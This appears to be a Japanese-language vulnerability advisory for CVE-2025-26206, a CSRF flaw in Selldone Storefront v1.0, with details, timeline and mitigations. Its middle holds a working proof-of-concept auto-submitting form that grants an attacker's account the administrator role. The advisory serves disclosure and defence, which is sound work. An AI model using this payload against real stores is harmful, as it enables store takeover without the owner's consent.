
Selldone Storefront v1.0 における重大なクロスサイトリクエストフォージェリ (CSRF) 脆弱性により、リモートの攻撃者は、認証済みユーザーを騙してストアフロントアプリケーション層を通じて状態変更リクエストを実行させることで、権限を昇格させることができます。Sibhi Balamurugan (@xibhi) によって発見され、責任ある開示が行われました。
| 項目 | 詳細 |
|---|---|
| CVE ID | CVE-2025-26206 |
| 種類 | クロスサイトリクエストフォージェリ (CWE-352) |
| 製品 | Selldone Storefront |
| 影響を受けるバージョン | v1.0 |
| コンポーネント | index.html / セッションブートストラップ |
| 影響 | 権限昇格 / ストアの乗っ取り |
| CVSS v3.1 | 9.0 (Critical) — CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H |
| 発見者 | Sibhi Balamurugan (@xibhi) |
Selldone Storefront v1.0 は、状態変更エンドポイントにおけるアンチ CSRF トークンの検証を欠いており、認証 Cookie は厳格なクロスサイト境界なしで保存されていました (SameSite が省略されていました)。
認証済みのストアオーナーまたは管理者が攻撃者の制御する Web ページを訪問すると、ブラウザは環境セッション Cookie をクロスオリジンリクエストに自動的に付加し、被害者の同意なしに特権操作を実行します。
攻撃者サイト → 被害者ブラウザ (セッションを保持) → Selldone API (Cookie が送信され、CSRF チェックなし) → ロール変更
攻撃者は、特権エンドポイントを標的とする自動送信フォームを含む悪意のあるページをホストします:
<form id="csrf" action="https://<TARGET-STOREFRONT>/api/v1/shop/roles" method="POST">
<input type="hidden" name="user_id" value="attacker_id" />
<input type="hidden" name="role" value="administrator" />
</form>
<script>
document.getElementById("csrf").submit();
</script>
認証済みの管理者がこのページを訪問すると、ブラウザはその管理者の資格情報を用いてリクエストを送信し、攻撃者のアカウントを昇格させます。
POST、PUT、DELETE、PATCH) に対して、検証済みの X-CSRF-TOKEN または同期トークンを要求します。SameSite=Lax または SameSite=Strict を設定し、併せて Secure および HttpOnly フラグを設定します。Origin および Referer ヘッダーを検証します。| 日付 | マイルストーン |
|---|---|
| 2025年2月 | 発見され、ベンダーに報告されました。 |
| 2025年2月24日 | 初期アドバイザリが公開されました。 |
| 2025年3月03日 | NVD がエントリを公開しました。 |
| 2025年3月04日 | NVD が CVSS 9.0 (Critical) と採点しました。 |
発見者: Sibhi Balamurugan (@xibhi)
このプロジェクトは MIT License の下でライセンスされています。